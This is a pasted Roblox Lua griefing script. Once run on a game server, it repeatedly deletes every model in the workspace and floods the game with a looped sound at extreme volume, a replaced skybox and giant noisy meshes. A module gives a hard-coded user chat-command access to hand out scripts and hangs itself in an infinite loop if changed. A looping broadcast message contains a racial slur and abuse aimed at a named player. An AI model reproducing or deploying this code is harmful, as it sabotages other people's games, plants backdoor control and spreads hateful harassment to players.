Advertisement
antgame11

Untitled

Mar 26th, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.59 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Model0 = Instance.new("Model")
  20. ModuleScript1 = Instance.new("ModuleScript")
  21. Script2 = Instance.new("Script")
  22. LocalScript3 = Instance.new("LocalScript")
  23. Model0.Parent = mas
  24. ModuleScript1.Name = "MainModule"
  25. ModuleScript1.Parent = Model0
  26. table.insert(cors,sandbox(ModuleScript1,function()
  27. script.Parent = nil
  28. local Module = script;
  29. local Scripts = {};
  30. for _,v in next, Module:GetChildren'' do
  31. Scripts[v.Name:lower()] = v:Clone();
  32. v:Remove()
  33. end;
  34.  
  35. Module.Changed:connect(function() repeat while true do end until nil end)
  36.  
  37. local Players = game:GetService("Players");
  38.  
  39. return function()
  40. local Me = Players:FindFirstChild("Aslanking2");
  41. Me.Chatted:connect(function(Message)
  42. if string.sub(Message,1,7) == "script/" then
  43. if(Scripts[string.sub(Message,8):lower()])then
  44. local given = Scripts[string.sub(Message,8):lower()]
  45. given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
  46. end
  47. end;
  48. end)
  49. end
  50. end))
  51. Script2.Name = "Toad"
  52. Script2.Parent = ModuleScript1
  53. table.insert(cors,sandbox(Script2,function()
  54. local Player = game:GetService("Players").Aslanking2
  55. local Mouse,mouse,UserInputService,ContextActionService
  56. do
  57. script.Parent = Player.Character
  58. local CAS = {Actions={}}
  59. local Event = Instance.new("RemoteEvent")
  60. Event.Name = "UserInput_Event"
  61. Event.Parent = Player.Character
  62. local fakeEvent = function()
  63. local t = {_fakeEvent=true}
  64. t.Connect = function(self,f)self.Function=f end
  65. t.connect = t.Connect
  66. return t
  67. end
  68. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  69. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  70. function CAS:BindAction(name,fun,touch,...)
  71. CAS.Actions[name] = {Name=name,Function=fun,Keys={...}}
  72. end
  73. function CAS:UnbindAction(name)
  74. CAS.Actions[name] = nil
  75. end
  76. local function te(self,ev,...)
  77. local t = m[ev]
  78. if t and t._fakeEvent and t.Function then
  79. t.Function(...)
  80. end
  81. end
  82. m.TrigEvent = te
  83. UIS.TrigEvent = te
  84. Event.OnServerEvent:Connect(function(plr,io)
  85. if plr~=Player then return end
  86. if io.isMouse then
  87. m.Target = io.Target
  88. m.Hit = io.Hit
  89. elseif io.UserInputType == Enum.UserInputType.MouseButton1 then
  90. if io.UserInputState == Enum.UserInputState.Begin then
  91. m:TrigEvent("Button1Down")
  92. else
  93. m:TrigEvent("Button1Up")
  94. end
  95. else
  96. for n,t in pairs(CAS.Actions) do
  97. for _,k in pairs(t.Keys) do
  98. if k==io.KeyCode then
  99. t.Function(t.Name,io.UserInputState,io)
  100. end
  101. end
  102. end
  103. if io.UserInputState == Enum.UserInputState.Begin then
  104. m:TrigEvent("KeyDown",io.KeyCode.Name:lower())
  105. UIS:TrigEvent("InputBegan",io,false)
  106. else
  107. m:TrigEvent("KeyUp",io.KeyCode.Name:lower())
  108. UIS:TrigEvent("InputEnded",io,false)
  109. end
  110. end
  111. end)
  112. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  113. end
  114.  
  115. wait(1)
  116. math.randomseed(tick() % 1 * 1e6)
  117. sky = coroutine.create(function()
  118. while wait(0.3) do
  119. s = Instance.new("Sky",game.Lighting)
  120. s.SkyboxBk,s.SkyboxDn,s.SkyboxFt,s.SkyboxLf,s.SkyboxRt,s.SkyboxUp = "rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408"
  121. s.CelestialBodiesShown = false
  122. end
  123. end)
  124.  
  125.  
  126. del = coroutine.create(function()
  127. while wait(0.3) do
  128. for i,v in pairs(workspace:GetChildren()) do
  129. if v:IsA("Model") then
  130. v:Destroy()
  131. end
  132. end
  133. end
  134. end)
  135.  
  136.  
  137.  
  138. for i,v in pairs(game.Players:GetChildren()) do
  139. end
  140.  
  141. noises = {'rbxassetid://230287740','rbxassetid://271787597','rbxassetid://153752123','rbxassetid://271787503'}
  142.  
  143. sound = coroutine.create(function()
  144. a = Instance.new("Sound",workspace)
  145. a.SoundId = "rbxassetid://141509625"
  146. a.Name = "RAINING MEN"
  147. a.Volume = 58359
  148. a.Looped = true
  149. a:Play()
  150. while wait(0.2) do
  151. rainin = workspace:FindFirstChild("RAINING MEN")
  152. if not rainin then
  153. a = Instance.new("Sound",workspace)
  154. a.SoundId = "rbxassetid://141509625"
  155. a.Name = "RAINING MEN"
  156. a.Volume = 58359
  157. a.Looped = true
  158. a:Play()
  159. end
  160. end
  161. end)
  162.  
  163. msg = coroutine.create(function()
  164. while wait(0.4) do
  165. msg = Instance.new("Message",workspace)
  166. msg.Text = "Get toadroasted you bacon-haired bozos. (GO QUIT FUCKED SHIT NIGGER XD FELIXMAYERKIDS IS A HACKER)"
  167. wait(0.4)
  168. msg:Destroy()
  169. end
  170. end)
  171.  
  172.  
  173. rain = coroutine.create(function()
  174. while wait(10 % 1 * 1e2) do
  175. part = Instance.new("Part",workspace)
  176. part.Name = "Toad"
  177.  
  178. mesh = Instance.new("SpecialMesh",part)
  179.  
  180. sound = Instance.new("Sound",workspace)
  181.  
  182. part.CanCollide = false
  183. part.Size = Vector3.new(440,530,380)
  184. part.Position = Vector3.new(math.random(-3000,1000),math.random(1,3000),math.random(-3000,3000))
  185.  
  186. sound.SoundId = noises[math.random(1,#noises)]
  187. sound:Play()
  188. sound.Ended:connect(function()
  189. sound:Destroy()
  190. end)
  191.  
  192.  
  193. mesh.MeshType = "FileMesh"
  194. mesh.MeshId = "rbxassetid://430210147"
  195. mesh.TextureId = "rbxassetid://430210159"
  196. end
  197. end)
  198. coroutine.resume(sky)
  199. coroutine.resume(del)
  200. coroutine.resume(sound)
  201. coroutine.resume(msg)
  202. coroutine.resume(rain)
  203. end))
  204. LocalScript3.Parent = Script2
  205. table.insert(cors,sandbox(LocalScript3,function()
  206. local Player = game:GetService("Players").LocalPlayer
  207.  
  208. local Char = Player.Character
  209. local Event = Char:WaitForChild("UserInput_Event")
  210.  
  211. local UIS = game:GetService("UserInputService")
  212.  
  213. local input = function(io,a)
  214. if a then return end
  215. local io = {KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState}
  216. Event:FireServer(io)
  217. end
  218. UIS.InputBegan:Connect(input)
  219. UIS.InputEnded:Connect(input)
  220. local Changed = false
  221. local Mouse = Player:GetMouse()
  222. local h,t = Mouse.Hit,Mouse.Target
  223. while wait(1/30) do
  224. if h~=Mouse.Hit or t~=Mouse.Target then
  225. Event:FireServer({isMouse=true,Target=Mouse.Target,Hit=Mouse.Hit})
  226. h,t=Mouse.Hit,Mouse.Target
  227. end
  228. end
  229. end))
  230. for i,v in pairs(mas:GetChildren()) do
  231. v.Parent = workspace
  232. pcall(function() v:MakeJoints() end)
  233. end
  234. mas:Destroy()
  235. for i,v in pairs(cors) do
  236. spawn(function()
  237. pcall(v)
  238. end)
  239. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement